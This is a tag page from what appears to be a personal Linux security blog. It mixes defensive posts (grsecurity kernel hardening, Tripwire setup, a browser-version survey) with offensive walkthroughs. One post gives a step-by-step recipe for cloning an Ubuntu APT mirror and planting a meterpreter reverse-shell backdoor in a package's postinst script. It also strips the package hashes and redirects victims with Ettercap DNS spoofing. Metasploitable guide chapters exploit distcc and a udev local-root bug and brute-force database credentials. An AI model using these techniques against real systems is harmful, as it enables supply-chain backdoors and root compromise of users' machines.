Posts Tagged ‘Ubuntu’

Introducing Audit Me!

Posted: January 22, 2012 in Uncategorized
Tags: , ,

Lately several people on Ubuntu Forums, have been wondering if there is a simple utility to audit weak system configurations. I couldn’t find one specifically tailored to Ubuntu so I hacked on up in a few hours over the weekend. Incidentally it’s become something interesting to me and a project I will probably continue for the foreseeable future.

Audit me is designed to find weak service and system configurations (or defaults) in Ubuntu. It’s targeted toward the server side of the house though I may eventually add support for desktop features like auditing of browser security.

Below are some screenshots of some of AuditMe’s features.

To find out more about AuditMe click here

This past week I had a very stimulating discussion with a very talented co-worker of mine. This discussion was about Exec-Shield (DEP for all my Windows fans) and ASLR under RedHat. Through the course of this discussion, we discovered a very interesting script that helped us detect which of our running processes were protected by exec-shield as well as some nifty kernel tunables for exec-shield, and ASLR. Incidentally, he wrote a very informative article about it over at, you should check it out. Also he has a lot of other great nix sysadmin stuff there that is definitely worth your time.

Now you’re probably thinking. Hey DT what’s this got to do with Ubuntu, you’re talking about RedHat, what’s with the sensational title?

To that, I say. “Dear reader, you catch on fast. It has absolutely NOTHING to do with Ubuntu.” Therein lies our problem, for a server OS that Canonical touts as production ready with nifty slogans like “We are cloud.” I was somewhat astonished to find that exec-shield support in Ubuntu is rather limited (read nonexistant).

What is this exec-shield and why do I want it?

Exec-Shield also referred to as NX bit and DEP is a system designed for 64 Bit PAE (Physical Address Extension) systems to divide executable code into two sections, a .data section and the actual executable instructions. Basically this helps you mitigate stack, heap and int based overflows by mitigating the executability (is that a word?) of injected shell code. The overflow will still happen, however no payload execution happens. This is obviously a nice thing to have happening.

How do I know it’s enabled?

Well quite simply on a RHEL/CentOS/FC box if you do the following

sudo sysctl kernel.exec-shield

You will get some output that signifies what setting you have for exec-shield. Default is 1

kernel.exec-shield = 1

It should look like that. Really quick, a rundown on the possible values.

  • 0 – Disabled, regardless of whether the application is compiled to support it.
  • 1 – Enabled if the application is compiled to support it.
  • 2 – Enabled for all applications unless they are compiled without it.
  • 3 – Enabled regardless of what the application is compiled to support.

But what about Ubuntu? If you were following along with Ubuntu you likely got an error when you typed that command. Why is that you ask? Quite simply, your kernel does not support Exec-Shield.

Time to switch to RHEL?

Ideally, for production systems yes, for many reasons not just this, but it’s expensive (CentOS isn’t ;-)). That being said you know I love Ubuntu. So, I have an alternative solution for you.

Emulating Exec-Shield on Ubuntu

There are a couple of things to understand here before we start. Debian upstream and thus Ubuntu removed the exec-shield patch from the distribution a few years ago, claiming it was replaced by gcc’s compile time optimizations. There is a major flaw in this logic, these enforcements are made at the application level, which is a terrible place to have them made. The kernel level is much more suitable for this type of control. Incidentally, the two work wonderfully together.

We do not have access to exec-shield, however we can emulate it through grsec, which is exactly what we are going to be doing here.

Note : this involves recompiling your kernel, so breakage could ensue.

Note+ : You will also need build essential for this

sudo apt-get install build essential

Note++ : For make menuconfig we’ll also need ncurses-dev.

sudo apt-get install libncurses5-dev

Step 1 : Downloading grsec

The first step is to obtain the latest stable release of grsec.


Step 2 : Downloading Kernel Source

Next we need the kernel source, this has to be done with an unpatched kernel so we can not use our existing kernel source.


Once it’s downloaded extract your kernel source

tar xzvf linux-

Step 3 : Patching the kernel

Now we’ll patch our kernel source.

cd linux-
sudo su -
patch -p1 < ../grsecurity-2.2.2-

Step 4 : Configuring our patched Kernel

Now we run

make menuconfig

Most of the defaults are acceptable however we need to look at our “Security” Options








The first thing we’ll look at is GRSecurity. There are a variety of options in here. You will need to explore the ones that fit your needs best. However I recommend enabling the following

  • Security Level High
  • Hide /proc from users
  • Sysctl Support On
  • Enable Features by default On

There are many more tunables that you can fiddle with here.

There are also quite a few tunables under PaX that can be adjusted here however, the defaults are quite acceptable.








Once you’re done making changes we’re ready to compile the kernel.

Step 5 : Compiling our Grsecurity Kernel

For non-Ubuntu distros (since this has been pretty generic up until this point) we can simply


Alternatively for Ubuntu users we can build our kernel in the Debian method by doing the following.

make-kpkg clean
sed -rie 's/echo "\+"/#echo "\+"/' scripts/setlocalversion
rm localversion-grsec
fakeroot make-kpkg --initrd kernel_image kernel_headers

Note : If you follow this step you may simply use dpkg -i to install your new kernel. Users following the other method should update their grub config and install the kernel in the normal method.

After Kernel Installation

Once we have our GRSecurity enabled kernel installed we can use the gradmn tool to put GRSecurity in learning mode and create a policy which will be enforced.
You can learn more about doing that here.
Once you have done this your Ubuntu server will be much more ready for production usage. Though…Installing CentOS takes far less time 😉

It’s been a while since I’ve posted — but I return to you now with some interesting information, and some questions. Over the past 45 days I’ve been running something of a survey. Really I’ve been data mining your browser headers, don’t worry I haven’t sold your info to any third parties 😉

However what I did find was surprising. You don’t care about browser security. At all.

Overall about 2500 people participated in this survey, though they did not know it. Of those 2,500 individuals approximately one quarter of them are using a vulnerable browser without the aid of NoScript. That’s over 400 vulnerable browsers that have visited this site in the last month and a half.

Anyone have an explanation for this?

In my mind there are two possible answers here. The first being you just don’t know any better, the second would be you just don’t care. Since you’re likely interested in securing your Linux installation if you’re reading this site, there is a good chance that you DO know better.

A look at the results

The most popular vulnerable browser was Chrome/Chromium 15.0.874.102 which suffers from a use after free memory corruption vulnerability among several others. Though the memory corruption is the most significant multiple vulnerabilities fall into “serious” category. Oddly every single person using this browser version was using Ubuntu Linux 11.10 either in x86 or amd64 flavors. Canonical? Fix your repos? Or maybe people just aren’t updating.

While we’re discussing Operating System versions. I found it interesting, but not surprising that several of the operating systems running these browsers were end of life. Meaning they haven’t been receiving security updates for quite some time. Several individuals were using Ubuntu sub 8.04, and more were using Ubuntu 8.04-8.10. These operating systems are end of life, and are not receiving security updates. If you’re running these I strenuously urge you to ugrade to at least the current LTS 10.04. There really isn’t much else to say about operating systems, since browser headers are often times less than conclusive in terms of operating platform.

So what were some of the most vulnerable browsers? Well, there were quite a few but the most interesting I saw were the following :

  • Firefox 3.0.x
  • Firefox 3.5.3
  • Firefox 3.6.16
  • Chrome 6.0x

That is just a sample of the MOST vulnerable browsers, you can see a full diagram of vulnerable browsers in the graph at the beginning of this section.

So what’s up? Why are you running a 4+ year old browser with out NoScript? Now, I realize that some of you were probably spoofing browser headers, like whoever had Firefox 1.0, that’s probably not legit. However, I would wager the vast majority of these results are in fact accurate. It’s also important to note that I filtered out webcrawlers, each of these is in fact an actual browser (unless of course the crawler is spoofing headers).


Many linux users apparently just don’t care. If you’re reading this in a state of shock, but can’t remember the last time you updated anything, maybe it’s time to do a …

sudo apt-get update && sudo apt-get upgrade


sudo yum check-update && sudo yum update

After you’re done with that, maybe you should take a gander at NoScript

It’s important to understand a couple things about this data. This data was filtered by excluding any non Linux systems, this includes Android, iPhone, Windows and Apple machines, as well as any browser running NoScript. These are only Linux users. Not all are running Ubuntu, other popular distributions included Fedora, Mint, and Debian.

So, you tell me, why do you think many users are hesitant to upgrade to a more supported and secure browser?

By request, and because I haven’t posted on here in a while here’s a quickie for Tripwire on Ubuntu. This is done using 11.10 but should work on nearly any version of Ubuntu >= 10.04. It’s important to know two things ahead of time with Tripwire. One , it’s extremely high maintenance compared to other host based intrusion detection systems. Two, it depends on a known good configuration at install time. So if you feel your system is already compromised it’s wise to start off with a fresh install prior to doing this.

Step 1 : Install Tripwire

To install Tripwire, simply do the following in a terminal.

sudo apt-get update && sudo apt-get install tripwire

Step 2 : Configure Postfix

After Tripwire is installed, you will be prompted to configure Postfix. Choose local only configuration for Postfix unless you are using some external monitoring service like Satellite or Space Walk. You may accept the rest of the default options presented to you up until you reach the part of “Twipwire Configuration” Displayed below.

Super ominous warning. If you heed it go to step 3, if you say yes proceed to step 5.

You will be prompted with a warning that the debian install process sucks, and if you have your site key and configuration policy publicly exposed for a period of approximately 1.3 seconds. If this is unacceptable to you follow the alternate instructions in Step 3 below. Otherwise choose yes.

Step 3 : Configuring Site Key and Configuration Policy

First we must create our sitekey we may do so by running the following command in a terminal

twadmin -m G --site-keyfile site.key

You will be prompted for a passphrase, create a strong one and remember it.

Then we must create a local keyfile which may be done by doing the following

twadmin -m G --local-keyfile local.key

You will again be asked for a passphrase. Create a new one for the local keyfile.

Step 4 : Generate your Configuration Files

Now we need to generate our config files, we will do so by doing the following

sudo cp *.key /etc/tripwire
sudo twadmin --create-cfgfile -S site.key /etc/tripwire/twcfg.txt
sudo twadmin --create-polfile -S local.key /etc/tripwire/twpol.txt
sudo rm /etc/tripwire/twpol.txt /etc/tripwire/twcfg.txt

* You will be prompted for your passphrase for each keyfile in this step you must provide it correctly to continue. Also, do not perform the last line until you have confirmed that the above steps were successful.

Step 5 : Creating the Baseline for Tripwire

Now we simply need to run the command to baseline our system which is below.

sudo tripwire --init

and any time you want to compare the current status of the system to the baseline database you need to run

sudo tripwire --check

Enjoy 😉

So here is the final chapter in the Metasploitable Guide. I was originally intending this to be a 10 part guide, but frankly if I don’t finish it today, it’s never going to get done. Ubuntu 12.04 is in Alpha stage and I’d like to spend some time putting together half decent server and desktop security guides for the new LTS, as such this needs to end here. If you’re just finding this guide and would like to start from the beginning links to the other chapters of the guide can be found here.

Scanning for additional local vulnerabilities with Nessus Bridge

This is just something amusing we can do, in an actual environment where this system is sitting on a network with an IDS/IPS this probably isn’t the best idea as Nessus makes a huge amount of noise. That being said, the Nessus bridge is a fun plugin for Metasploit, so I figured I’d hit it up for the sake of illustrating its functionality, there is also a similar plugin module for OpenVAS if that is your preffered vulnerability scanner.

Configuring A Nessus Policy

The first step to doing this is to make sure we have a preconfigured Nessus policy you can use a pre-existing policy if you’d like however, since we know pretty much everything about this host at this stage of the game it makes more sense to fine tune a policy in order to reduce the time it takes to perform the audit, and decrease the chances of being discovered by any IDS (if there were one).

Using Nessus Bridge In Metasploit

After we’ve started the Nessus daemon, and configured our scan policy we can execute the scan against our target directly in Metasploit by doing the following.

load nessus
nessus_connect root:toor@localhost:8834
nessus_scan_new -5 Metasploitable

Where root:toor is the username password for your nessus user and -5 is the policy number you want to use Metasploitable is the name of the scan and is the target.

Nessus Report

After our Nessus scan is complete we will see that there are quite a few additional vulnerabilities in this system, we do not obviously have to exploit all of them if we do not want to. However, if this were a real world situation we would want to at least verify that they are all legitimate and not false positives due to backports.

In this report we find this advisory particularly interesting: CVE-2009-1185

Local Escalation through Udev

A quick search for this CVE yields us code that will allow escalation to root privileges : That source code is here.

Rooting Metasploitable…Again

Now — we already have root privileges however, what if we didn’t what if the only method we had for gaining entry to the server was weak ssh user credentials

We’re going to utilize the public exploit code for the udev escalation in conjunction with our previosuly obtained credentials for user to gain a root shell on our target.

Creating our Payload

First step here is to create our payload — we’ll use Metasploit to create a simple reverse shell and listener.

The next step is to use SCP to upload our exploit and payload to the target using our stolen credentials , user:user.

Once we have uploaded our exploit and payload we can open an ssh session to the victim, cd into /tmp, compile our exploit run it…


..and win 😉

That’s all folks — that brings our Metasploitable Guide to an end, there are a ton of other things you can do with this vulnerable Virtual Machine, however that should be more than enough pwnage to inspire you and keep you motivated to try new and exciting things.

Hopefully it was a learning experience and you enjoyed it greatly, I had a good time writing it 🙂

So — I’ve been hearing a lot of talk about how great and secure Ubuntu is because of the “Trusted” repositories. Heck, I’ve even been known to throw that one out there a few times, recently in fact. However, I usually always punctuate that thought with nothing is perfect. See the funny thing about trusting anything or anyone is, the hedgehog’s dilemma.

For those of you who aren’t fanatical Neon Genesis fans, you should be. However, since you’re probably not — I’ll explain it. The hedgehog’s dilemma basically explains the plight of human kind, we want to be close and trust eachother, but we are hedgehogs, the more trust and closeness we share the more we hurt eachother. Now that I’ve gotten that extremely emotional intro out of the way you’re probably wondering what the HECK this has to do with Ubuntu’s (or anyone else’s) trusted repos. Well allow me to explain, the repositories are free for anyone to mirror — modify, and pretty much do what they want. Hence, how you can make your own Ubuntu respin relatively easily.

Now — what if someone wanted to mirror them, change the packages to be malicious in nature, perhaps allowing the package to back door the system it was installed on? Well we’d be safe because we use the “Trusted” repos, and they wouldn’t be hosted in the same location right? Well…Sort of. We’ve already demonstrated in the past that we can make an address looks like it belongs to us, if we’re on the same network as the victim. The same concept applies to other things than browsers, like APT. Of course, as I said, you have to be on the same network as the attacker, which brings about another question, are you my neighbor and how is your wireless network’s security looking right now? (kidding) Or maybe you use free public wifi, are you doing your updates using that connection? Or maybe, just maybe your office is using Ubuntu, and your sysadmins aren’t all that clever.

So let’s look at how this attack works.

Preparing The Repository

Special thanks to Haqking on Ubuntu forums for giving me a heads up on creating an apt-mirror quickly, without him this FUD bonanza would not be before you now. Also, he just started blogging so be sure to check out his blog.

Thankfully there are a variety of easy to use utilities for mirroring an apt repository, in this case I was recommended both Keryx and apt-mirror. For the sake of expedience I chose apt-mirror because it’s already in the Back Track repositories.

Installing and configuring apt-mirror

apt-get install apt-mirror

Now — we need to clone our repository

edit /etc/apt/mirror.list

deb oneiric-security main restricted

This is my file, I was targeting a fully updated Oneiric 11.10 install.

After this we simply want to run


Note : To clone the ENTIRE repository, would take 74.4GB. That’s going to take a LOT of resources. For the sake of time, and resources we are only going to modify one repository just to show that we can in fact take advantage of the trust factor. For this to work in a default configuration you would need to clone the entire repository set.

So once our repo is cloned and placed in our web root we need to fire up our webserver in Back Track. You’ll notice that it’s cloned two different domains. Well — we only have one attacking machine, thankfully Apache is ever so kind and is going to let us create virtual hosts to handle this.

Here is an example Virtual Host site file (/etc/apache2/sites-available)

        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/

                Options FollowSymLinks
                AllowOverride None

                Options Indexes FollowSymLinks MultiViews
                AllowOverride None
                Order allow,deny
                allow from all

        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/

                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all

        ErrorLog /var/log/apache2/error.log

        # Possible values include: debug, info, notice, warn, error, crit,
        # alert, emerg.
        LogLevel warn

        CustomLog /var/log/apache2/access.log combined

    Alias /doc/ "/usr/share/doc/"

        Options Indexes MultiViews FollowSymLinks
        AllowOverride None
        Order deny,allow
        Deny from all
        Allow from ::1/128

Create one for each site we need. Then use a2ensite to enable them and start up Apache 2.

service apache2 start

Finally move your mirrored repository to the webroot

mv /var/spool/mirror/ /var/www/ && mv /var/spool/mirror/ /var/www/

Modifying a Package

Creating the Backdoor

For this we will use a simple meterpreter reverse shell as our backdoor , however you can inject any payload you wanted.

Now that we have done this we must insert it into the package we want to modify. We are going to modify the abrowser package. That package is in

copy it to your /root directory where we placed badfile. Now we want to extract the package

cd /root
mkdir badpackage
dpkg -X abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb badpackage
mkdir badpackage/DEBIAN

Create the following file in DEBIAN and name it postinst

sudo chmod 2755 /usr/badfile && /usr/badfile &

Give this file permissions 755. Now copy badfile to /badpackage/usr/badfile then rebuild the package

dpkg-deb --build --nocheck badpackage

Ignore the warnings about building a crappy package, it’s the way Ubuntu does it. *shrug*

This will give you a file called badpackage.deb so do the following…

cp badpackage.deb /var/www/

Now just one more loose end to tie up, with the package. Now , edit the file /var/www/

Change the following

Package: abrowser
Priority: optional
Section: web
Installed-Size: 152
Maintainer: Ubuntu Mozilla Team
Architecture: i386
Source: firefox
Version: 8.0+build1-0ubuntu0.11.10.3
Depends: firefox
Filename: pool/main/f/firefox/abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb
Size: 8942
MD5sum: 4110c9ecb91baef556dccd62869f5a25
SHA1: 11680e06c14944c5f819584132a224ca343caf0f
SHA256: 67ba7ef5de1efa9309579acd4c288b9c84bdebab9088d6e09545febcbd853906
Description: Safe and easy web browser from Mozilla - transitional package
Description-md5: e89058e4775caff7d26313fa8811675e
Origin: Ubuntu
Supported: 18

To this.

Package: abrowser
Priority: optional
Section: web
Installed-Size: 152
Maintainer: Ubuntu Mozilla Team
Architecture: i386
Source: firefox
Version: 8.0+build1-0ubuntu0.11.10.3
Depends: firefox
Filename: pool/main/f/firefox/abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb
Size: 8872
Description: Safe and easy web browser from Mozilla - transitional package
Origin: Ubuntu
Supported: 18m

This will account for the changed size in our file, and remove the optional MD5, SHA1 and SHA256 Hash sum checks that will fail. Alternatively, you can change the hash sums here to match that of your file, but it is not necessary.

Staging the Attack

Now that we have our evil repository set up we need to get our traffic pointed toward it. We’ll use Ettercap for this, set up your etter.dns as such A A   A

Where is the host with the cloned repo.

And fire up ettercap…

Become root

Now when our victim goes to update.

You win 😉

that’s uid 0 and that’s game over.

So do you guys still trust those repos?

In the last edition of this guide we bruteforced MySQL, exploited Apache Tomcat 5.5 and the TikiWiki 1.9.5 web application. We obtained two additional shells and the MySQL dbms admin credentials. At the end of the last guide I said there was one more vulnerable service installed on this machine, however that our initial nmap scan did not detect it.

I suggested that we look through the system and pointed out a netstat output from an ssh session with the system. Hopefully you discovered the application I was talking about, however if you didn’t here we go. The line I was referring to in netstat was this.

tcp6       0      0 :::3632                 :::*                    LISTEN      -

There is something listening on port 3632, we’re not sure what yet — however we know it’s something. If we do some research on what normally runs on port 3632, we will discover it is the distributed compiler. Further examination of the target system will find the following related files

  • /usr/share/doc/distcc : which contains all the associated documentation
  • /usr/bin/distcc : executable
  • /etc/distcc : presumably contains config files but there is nothing there
  • /var/lib/distcc : does contain configuration files, as well as available compilers

A simple distcc at the prompt will give us the distribute compiler banner

distcc 2.18.3 i486-pc-linux-gnu (protocols 1 and 2) (default port 3632)
  built May  1 2007 10:25:30

Which tells us the version of the software. A simple google search will provide us with CVE-2004-2867.

Exploiting the Distributed C Compiler

Now that we have the necessary information about our vulnerable service we can utilize the Metasploit Framework to exploit it. So again we search for our CVE, and we’re not presented with anything…Well that’s inconvenient, let’s try searching for distcc.

Ahh victory 🙂

You’ll notice I configured RHOST to be — even though the service was bound only to ipv6 this works because it was bound to all interfaces, if this was bound specifically to one interface, and our target had multiple interfaces we would have had to configure it for an ipv6 address.

And there’s our last shell.

Obtaining Postgres Credentials

The next step is to obtain the credentials from Postgres SQL. So we’re going to load up our brute-force module, and run it against the database.

We’ll be informed that the dbms admin is postgres with password postgres and the current database is template1.

Stay Tuned…

Next time we’re going to discuss profiling certain local vulnerabilities on the Metasploitable system including local escalation, as well as utilizing some other automated tools with the Metasploit Framework. We will set up our compromised Metasploit server so that it will aid us in gaining access to other machines that access it (in the event this were an actual system on a network somewhere).